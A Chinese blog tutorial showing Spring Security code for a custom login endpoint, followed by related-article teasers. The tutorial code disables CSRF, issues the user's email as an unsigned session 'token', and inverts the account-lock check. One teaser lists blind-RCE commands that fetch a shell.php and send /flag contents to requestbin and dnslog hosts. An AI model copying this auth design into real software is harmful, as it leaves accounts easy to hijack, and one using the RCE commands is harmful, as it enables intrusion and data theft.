当前位置: 首页 > news >正文

SpringSecurity实现自定义登录接口

SpringSecurity实现自定义登录接口

1、配置类 ConfigClazz(SpringSecuriey的)
    //首先就是要有一个配置类@Resourceprivate DIYUsernamePasswordAuthenticationFilter diyUsernamePasswordAuthenticationFilter;/*SpringSecurity配置*/@Beanpublic SecurityFilterChain filterChain(HttpSecurity http) throws Exception {http.authorizeRequests(authorize -> authorize.requestMatchers("/user/**","/").hasRole("user") //拥有user的角色可访问的接口.requestMatchers("/manager/**").hasRole("manager")//拥有manager的角色可访问的接口.requestMatchers("/login/**").permitAll().anyRequest() .authenticated() // 任何请求都需要授权,重定向到);/*登录页*/http.formLogin(AbstractHttpConfigurer::disable);//禁用默认的登录接口,使用自定义的登录接口/*登出*/http.logout(logout ->{logout.logoutUrl("/goOut").permitAll()//登录退出成功,向前端返回json格式的字符串.logoutSuccessHandler((HttpServletRequest request, HttpServletResponse response, Authentication authentication)->{Map<String, String[]> parameterMap = request.getParameterMap();//进入登录页时,判断是否已经登陆过 TowLogin 参数if(!parameterMap.isEmpty() && parameterMap.get("TowLogin")[0].equals("true")){String json = JSON.toJSONString(Code.NOTowLogin);response.setContentType("application/json;charset=UTF-8");response.getWriter().println(json);} else {String json = JSON.toJSONString(Code.SuccessLogout);response.setContentType("application/json;charset=UTF-8");response.getWriter().println(json);}});});/*向过滤器链中添加自定义的过滤器用自定义的过滤器代替 UsernamePasswordAuthenticationFilter 过滤器*/http.addFilterAfter(diyUsernamePasswordAuthenticationFilter, LogoutFilter.class);/*请求异常处理*/http.exceptionHandling(exception ->{/*用户未登录时,访问限权接口,返回 json 格式的字符串这个配是。把页面跳转交给前端,即:用户未登录时,后端只返回 json 格式的字符串,不会跳转页面-- 未登录时,重定向的 url  .loginPage("/login/getLoginHTML").permitAll(),就不起作用了 --*/exception.authenticationEntryPoint((HttpServletRequest request, HttpServletResponse response, AuthenticationException authException)->{String json = JSON.toJSONString(Code.NoLogin);response.setContentType("application/json;charset=UTF-8");response.getWriter().println(json);});//响应登录用户访问未授权路径时(user角色访问manager角色的接口) 有 未授权 json 提示exception.accessDeniedHandler((HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException)->{String json = JSON.toJSONString(Code.Forbidden);response.setContentType("application/json;charset=UTF-8");response.getWriter().println(json);});});/*会话管理*/http.sessionManagement(session -> {session//表示,最大连接数量为 1 ,同一个账号,最多只能在一台设备上登录,当第二个登陆时,会把第一个挤掉.maximumSessions(1)//挤掉后,对前端返回的json字符串.expiredSessionStrategy((SessionInformationExpiredEvent event)->{String json = JSON.toJSONString(Code.ForeignLogin);HttpServletResponse response = event.getResponse();response.setContentType("application/json;charset=UTF-8");response.getWriter().println(json);});});/*开启跨域访问*/http.cors(withDefaults());/* 禁用csrf的防御手段。* 开启后,相当于每次前端访问接口的时候* 都需要携带_crsf为参数名的参数,功能类似于 token,* 因此建议禁用* */http.csrf(AbstractHttpConfigurer::disable);return http.build();}//设置密码的编码方式(必须有)@Beanpublic BCryptPasswordEncoder bCryptPasswordEncoder(){return new BCryptPasswordEncoder(10); }
  • 解释 _scrf 在哪看,只有最初有,后面就没有,但是如果不携带,就不让你访问接口,因此建议禁用
2、DIYUsernamePasswordAuthenticationFilter
  • 该类用于替换 UsernamePasswordAuthenticationFilter 过滤器,应用自己自定义的过滤器
@Component  //相当于 UsernamePasswordAuthenticationFilter
public class DIYUsernamePasswordAuthenticationFilter extends OncePerRequestFilter {@Overrideprotected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {/*问题:不能读取请求体中的信息,因为是一次性的,读完,后面就不能用了* 因此,这里避免用json格式传输 账号 和 密码* *///获取非 json 格式传输的,OK了,只要前端给 json 格式 的token就能获取了Map<String, String[]> parameterMap = request.getParameterMap(); //有前端打开SUser user = null;HttpSession session = request.getSession();//有前端打开//检查token,通过token解析出用户的账号,根据账号,从 session 中查询if(parameterMap.get("token") != null)user = (SUser)session.getAttribute(parameterMap.get("token")[0]);if (user == null) {//放行,表示已经退出,需要重新验证,区别就是有没有 存入SecurityContextHolder 一步骤filterChain.doFilter(request, response);return;}//存入SecurityContextHolder,获取权限信息封装到Authentication中UsernamePasswordAuthenticationToken authenticationToken =  // 没有前端获取用户数据目前先这样写new UsernamePasswordAuthenticationToken(user,user.getPassword(),user.getAuthorities());SecurityContextHolder.getContext().setAuthentication(authenticationToken);//验证成功,放行filterChain.doFilter(request, response);}
}
3、DIYAuthenticationProvider
  • 该类是发放授权的接口
@Component
public class DIYAuthenticationProvider implements AuthenticationProvider {@Resourceprivate UserDetailsService userDetailsService;@Resourceprivate PasswordEncoder passwordEncoder;@Overridepublic Authentication authenticate(Authentication authentication) throws AuthenticationException {String username = authentication.getName();String password = (String) authentication.getCredentials();// 从数据库中加载用户信息UserDetails userDetails = userDetailsService.loadUserByUsername(username);// 检查密码是否正确if (!passwordEncoder.matches(password, userDetails.getPassword())) {throw new BadCredentialsException("用户名或密码错误");}// 创建一个已认证的 Authentication 对象UsernamePasswordAuthenticationToken authenticatedToken =new UsernamePasswordAuthenticationToken(userDetails, userDetails.getPassword(), userDetails.getAuthorities());authenticatedToken.setDetails(authentication.getDetails());return authenticatedToken;}@Overridepublic boolean supports(Class<?> authentication) {return UsernamePasswordAuthenticationToken.class.isAssignableFrom(authentication);}
}

4、DIYAuthenticationManager

  • 该类是用来调用发放授权接口
@Component
public class DIYAuthenticationManager implements AuthenticationManager {@Resource  //这里虽然是注入的接口,但是由于自定义的类 DIYAuthenticationProvider 实现了该接口,因此优先使用AuthenticationProvider authenticationProvider;//这里其实可以调用默认的 授权提供者,有匹配的就会授权,但是,没必要,因为肯定匹配不了,最后还是用自己的,@Override //那不如  直接就用自己的就好了public Authentication authenticate(Authentication authentication) throws AuthenticationException {return authenticationProvider.authenticate(authentication);}
}
5、MySQLUserDetailsManager
  • 该类用于获取用户的信息
@Component  //将这个类交给Spring容器管理,即:创建该类的 bean 对象,进而取代(重写)原来的方法
public class MySQLUserDetailsManager implements UserDetailsService{//由于是基于数据库的,因此,只需要实现一个 UserDetailsService 接口就好,不需要实现其他的接口@Resource //这个是Mapper接口,用于从数据库中调用查询信息SUserMapper sUserMapper; @Resource  //这个是必要的HttpServletRequest request; @Override                           //String usernamepublic UserDetails loadUserByUsername(String account) throws UsernameNotFoundException {//获取数据信息要在这里开始,由于只暴露用户输入account,因此数据库中的数据只能,所有的 account都不一样,才能唯一匹配 account,这里 Email 一定不一样//这里的 username 就是用户输入的账号,为了方便,就换一个变量名 accountList<SUser> sUsers = sUserMapper.selectAllByEmail(account);  //这里 Email 一定不一样if(sUsers != null && !sUsers.isEmpty()) {SUser sUser = sUsers.get(0);//这里把 authenticate 这个用户的信息存到session中,如果调用退出登录接口,就会删除session里面的内容HttpSession session = request.getSession();session.setAttribute(String.valueOf(sUser.getEmail()),sUser);return sUser;} else {throw new UsernameNotFoundException(account);}}
}
6、控制层
@Controller
@Tag(name = "登录注册")
@RequestMapping("/login")
public class LoginController {@Resourceprivate SUserService sUserService;@Resourceprivate AuthenticationManager authenticationManager;@GetMapping("/getLoginHTML")  //进入登录页的接口public String getLoginHtml(HttpSession session){boolean aNew = session.isNew();if(aNew)return "login";//如果一个浏览器试图登录两次,那么就会直接调用退出接口return "redirect:/goOut?TowLogin=true";}@PostMapping("/ooo")  //由于是自定义登录接口,因此什么请求都可以,建议用Post@ResponseBody  //将返回值写入响应体中public Code login(String account,String password){SUser sUser = new SUser();sUser.setEmail(account);sUser.setPassword(password);UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(sUser,password);Authentication authenticate = authenticationManager.authenticate(authenticationToken);if(Objects.isNull(authenticate))throw new AuthenticationCredentialsNotFoundException("用户账号或密码错误");else{//这里响应回去一个 token,根据账号加密后,生成的 tokenMap<String, String> map = new HashMap<>();map.put("token",authenticate.getName());return new Code<>(Code.OK, map);}
}
7、增强用户的实体类
  • 这里由于要封装用户的详细信息,而用 MybatisX 生成的 User 实体类不能满足需求,因此要实现一个接口
@TableName(value ="s_user")
@Data
@Repository  //将这个类交给IOC容器(Spring)管理
public class SUser implements Serializable , UserDetails{  //实现这个接口/*** 主键id,自动递增*/@TableId(type = IdType.AUTO)private Integer id;/*** 用户名:<=10*/private String name;/*** 年龄*/private Integer age;/*** 性别:女 , 男*/private String sex;/*** 邮箱账号:<=30*/private String email;/*** 密码:<=15*/private String password;/*** 是否被禁用:0-未禁用,1-已禁用*/private Integer isForbidden;/*** 该账号的角色:0-普通用户,1-管理员*/private String role;/*** 是否被删除(或用户注销):0-未删除,1-删除*/@TableLogicprivate Integer isDelete;@Serial@TableField(exist = false)private static final long serialVersionUID = 1L;@Overridepublic Collection<? extends GrantedAuthority> getAuthorities() {/*这里要自己拼接 ROLE_ + role* ROLE_ : 是固定的* 由于我这里的实体类设计的是:String role; 不是数组形式,因此不用循环* 如果是数组形式的限权,循环遍历,并创建 SimpleGrantedAuthority 就好了* */List<SimpleGrantedAuthority> list  = new ArrayList<>();list.add(new SimpleGrantedAuthority("ROLE_" + role));return list;}@Override  //注意:这里的用户名是 账号public String getUsername() {return this.email;}@Override//没有这个设定就返回通过的结果,可以用翻译 isAccountNonExpired ? 在每个方法名后加一个? 问自己是true/falsepublic boolean isAccountNonExpired() {return true;}@Override//自己的实体类中有这个设定,就返回判断的结果public boolean isAccountNonLocked() {return isForbidden == 1;}@Overridepublic boolean isCredentialsNonExpired() {return true;}@Overridepublic boolean isEnabled() {return true;}
}
7、依赖
  • java版本 17
  • springBoot版本 3.2.0
<dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><!--SpringSecurity依赖--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId></dependency><!--thymeleaf作为视图模板--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency><!--mybatis-Puls的依赖--><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.5.4.1</version><!--由于SpringBoot的版本太高,需要这样1--><exclusions><exclusion><groupId>org.mybatis</groupId><artifactId>mybatis-spring</artifactId></exclusion></exclusions></dependency><!--由于SpringBoot的版本太高,需要这样2--><dependency><groupId>org.mybatis</groupId><artifactId>mybatis-spring</artifactId><version>3.0.3</version></dependency><!--mysql的驱动包--><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.30</version></dependency><!--简化实体类开发--><dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency><!--JavaWeb组件--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><!--引入json数据依赖,用于给前端返回json类型的数据--><dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.37</version></dependency><!--knife4j测试,对请求的测试,有两种,swagger-ui.html / doc.html 都可以--><dependency><groupId>com.github.xiaoymin</groupId><artifactId>knife4j-openapi3-jakarta-spring-boot-starter</artifactId><version>4.4.0</version></dependency></dependencies>

相关文章:

SpringSecurity实现自定义登录接口

SpringSecurity实现自定义登录接口 1、配置类 ConfigClazz&#xff08;SpringSecuriey的&#xff09; //首先就是要有一个配置类Resourceprivate DIYUsernamePasswordAuthenticationFilter diyUsernamePasswordAuthenticationFilter;/*SpringSecurity配置*/Beanpublic Securit…...

深度解析:Tkinter 界面布局与优化技巧

目录 深度解析&#xff1a;Tkinter 界面布局与优化技巧1. Tkinter 布局管理简介如何选择合适的布局管理器 2. pack() 布局管理详解嵌套布局 3. grid() 布局管理详解行列合并 4. place() 精确布局详解5. Tkinter 界面优化技巧自适应布局响应式布局资源管理 6. 项目示例&#xff…...

RCE_无回显

<aside> &#x1f4a1; 无回显 </aside> 写文件 **curl -o shell.php <http://xxxxxx.txt> wget -O shell.php <http://xxxxxx.txt>**请求带出 **curl <http://requestbin.net/r/1kiej1p1?pcat> /flag|base64 curl xxd -p /flag.xxxxxx.dnslo…...

文心一言智能体——绿色生活管家

最近&#xff0c;我在参加文心一言智能体大赛&#xff0c;这是我的智能体地址绿色生活管家&#xff0c;点击即可访问&#xff0c;大家可以去向我的智能体提问&#xff0c;提五个问题左右即可&#xff0c;真的非常感谢大家&#xff01;好人一生平安&#x1f33c;&#x1f33c;&a…...

无人机(自组穿越机,航模)-芯片选型

飞控MCU: 型号尺寸子型号参数规格备注STM325*532位ARM Cortex-M3 CPU&#xff0c;72MHz&#xff0c;256KB Flash&#xff0c;20KB RAMLQFP 48F33*332位ARM Cortex-M4 CPU&#xff0c;72MHz&#xff0c;256KB Flash&#xff0c;40KB RAMMPU6050F45*532位ARM Cortex-M4 CPU&…...

[Cocoa]_[初级]_[绘制文本如何设置断行效果]

场景 在开发Cocoa程序时&#xff0c;表格NSTableView是经常使用的控件。其基于View Base的视图单元格模式就是使用NSCell或其子类来控制每个单元格的呈现。当一个单元格里的文字过多时&#xff0c;需要截断超出宽度的文字&#xff0c;怎么实现&#xff1f; 说明 Cocoa下的文本…...

IPS和IDS有啥区别

在网络安全领域&#xff0c;入侵检测系统 (IDS) 和入侵防御系统 (IPS) 是两种关键的技术&#xff0c;旨在保护网络免受各种威胁。这两者尽管名字相似&#xff0c;但在功能、配置、以及应用场景等方面都有着显著的差异。 入侵检测系统 (IDS) IDS 是一种被动监控系统&#xff0c…...

c基础面试题

1.static和const的作用 static意为静态的&#xff0c;在C语言中可以修饰变量。如果是全局变量则只能在当前文件范围访问。 如果是函数内的局部变量则延长生命周期到整个程序。这意味着如果函数被多次调用&#xff0c;这个变量不会被重新初始化&#xff0c;而是保留上次调用结…...

选择最佳HR系统_6款产品评测与推荐

本文盘点了ZohoPeople、SAPSuccessFactors等六款主流HRMS&#xff0c;各系统各具特色&#xff0c;如ZohoPeople的全球化云管理、SAP的高定制化、Workday的实时数据分析等&#xff0c;适合不同规模企业需求&#xff0c;建议企业试用后决策。 一、Zoho People Zoho People 是一个…...

Latex技巧——参考文献中加入url和doi

有的期刊要求在参考文献里加入url或者doi, 例如下图中蓝色的字体。 在bib里编辑为下图中note行&#xff0c;也就是利用\href命令。\href后第一个{}内为网址&#xff0c;第二个{}为在参考文献中显示的蓝色文字。一般来说&#xff0c;两个{}内的文字相同。若遇到有些网址有下划线…...

安卓WPS Office v18.13.0高级版

软件介绍 WPS Office&#xff0c;金山WPS移动版&#xff0c;使用人数最多的移动办公软件套件。独有手机阅读模式&#xff0c;字体清晰翻页流畅&#xff1b;完美支持文字&#xff0c;表格&#xff0c;演示&#xff0c;PDF等51种文档格式&#xff1b;新版本具有海量精美模版及高…...

【C++力扣】917.仅仅反转字母|387.字符串中第一个唯一字符|415.字符串相加

✨ Blog’s 主页: 白乐天_ξ( ✿&#xff1e;◡❛) &#x1f308; 个人Motto&#xff1a;他强任他强&#xff0c;清风拂山冈&#xff01; &#x1f525; 所属专栏&#xff1a;C深入学习笔记 &#x1f4ab; 欢迎来到我的学习笔记&#xff01; 一、917.仅仅反转字母 1.1 题目描述…...

RxSwift系列(四)异常处理和调试操作

一、异常处理 1.catchErrorJustReturn 当遇到 error 事件的时候&#xff0c;就返回指定的值&#xff0c;然后结束。 enum MyError: Error {case Acase B }let disposeBag DisposeBag()let sequenceThatFails PublishSubject<String>()sequenceThatFails.catchErrorJ…...

Excel基础:电子表格Excel的使用技巧合集

一、内容 1.表格下拉框选择内容...

教育技术革新:SpringBoot在线教育系统开发

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理微服务在线教育系统的相关信息成为必然。开…...

【大数据入门 | Hive】Join语句

1. 等值join Hive支持通常的sql join语句&#xff0c;但是只支持等值连接&#xff0c;不支持非等值连接。但sql是支持非等值连接的。 1&#xff09;案例实操 &#xff08;1&#xff09;根据员工表和部门表中的部门编号相等&#xff0c;查询员工编号、员工名称和部门名称。 …...

爬虫案例——爬取情话网数据

需求&#xff1a; 1.爬取情话网站中表白里面的所有句子&#xff08;表白词_表白的话_表白句子情话大全_情话网&#xff09; 2.利用XPath来进行解析 3.使用面向对象形发请求——创建一个类 4.将爬取下来的数据保存在数据库中 写出对应解析语法 //div[class"box labelbo…...

端模一体,猎豹移动对大模型机器人发展路径清晰

今年世界机器人大会刚刚收官不久&#xff0c;接咖啡、拿苹果、摊煎饼……人形机器人在这届大会上备受关注&#xff0c;厂商们编排“整活”&#xff0c;展位几乎水泄不通。 自从AI大模型开始全面改变市场开始&#xff0c;关于机器人的方向性争论就不绝于耳&#xff0c;就在最近的…...

操作系统笔记

1、操作系统是什么 操作系统是管理硬件和软件的一种应用程序。操作系统是运行在计算机上最重要的一种软件&#xff0c;它管理计算机的资源和进程以及所有软硬件。为计算机提供一种中间层&#xff0c;使得应用软件和硬件进行分离&#xff0c;让我们无需关注硬件的实现&#xff…...

两个wordpress网站共用一个数据库的数据表

在WordPress中&#xff0c;如果你想要两个不同的网站调用同一个数据表&#xff0c;你可以通过以下几种方法实现&#xff1a; 方法一&#xff1a;使用共享数据库 1. 设置共享数据库&#xff1a; – 确保两个WordPress网站都可以访问同一个数据库。 – 在数据库服务器上创建一…...

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…...

零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?

一、核心优势&#xff1a;专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发&#xff0c;是一款收费低廉但功能全面的Windows NAS工具&#xff0c;主打“无学习成本部署” 。与其他NAS软件相比&#xff0c;其优势在于&#xff1a; 无需硬件改造&#xff1a;将任意W…...

企业如何增强终端安全?

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...

html-<abbr> 缩写或首字母缩略词

定义与作用 <abbr> 标签用于表示缩写或首字母缩略词&#xff0c;它可以帮助用户更好地理解缩写的含义&#xff0c;尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时&#xff0c;会显示一个提示框。 示例&#x…...

【C++特殊工具与技术】优化内存分配(一):C++中的内存分配

目录 一、C 内存的基本概念​ 1.1 内存的物理与逻辑结构​ 1.2 C 程序的内存区域划分​ 二、栈内存分配​ 2.1 栈内存的特点​ 2.2 栈内存分配示例​ 三、堆内存分配​ 3.1 new和delete操作符​ 4.2 内存泄漏与悬空指针问题​ 4.3 new和delete的重载​ 四、智能指针…...

计算机基础知识解析:从应用到架构的全面拆解

目录 前言 1、 计算机的应用领域&#xff1a;无处不在的数字助手 2、 计算机的进化史&#xff1a;从算盘到量子计算 3、计算机的分类&#xff1a;不止 “台式机和笔记本” 4、计算机的组件&#xff1a;硬件与软件的协同 4.1 硬件&#xff1a;五大核心部件 4.2 软件&#…...

Ubuntu系统复制(U盘-电脑硬盘)

所需环境 电脑自带硬盘&#xff1a;1块 (1T) U盘1&#xff1a;Ubuntu系统引导盘&#xff08;用于“U盘2”复制到“电脑自带硬盘”&#xff09; U盘2&#xff1a;Ubuntu系统盘&#xff08;1T&#xff0c;用于被复制&#xff09; &#xff01;&#xff01;&#xff01;建议“电脑…...

DAY 26 函数专题1

函数定义与参数知识点回顾&#xff1a;1. 函数的定义2. 变量作用域&#xff1a;局部变量和全局变量3. 函数的参数类型&#xff1a;位置参数、默认参数、不定参数4. 传递参数的手段&#xff1a;关键词参数5 题目1&#xff1a;计算圆的面积 任务&#xff1a; 编写一…...

02.运算符

目录 什么是运算符 算术运算符 1.基本四则运算符 2.增量运算符 3.自增/自减运算符 关系运算符 逻辑运算符 &&&#xff1a;逻辑与 ||&#xff1a;逻辑或 &#xff01;&#xff1a;逻辑非 短路求值 位运算符 按位与&&#xff1a; 按位或 | 按位取反~ …...

深入解析光敏传感技术:嵌入式仿真平台如何重塑电子工程教学

一、光敏传感技术的物理本质与系统级实现挑战 光敏电阻作为经典的光电传感器件&#xff0c;其工作原理根植于半导体材料的光电导效应。当入射光子能量超过材料带隙宽度时&#xff0c;价带电子受激发跃迁至导带&#xff0c;形成电子-空穴对&#xff0c;导致材料电导率显著提升。…...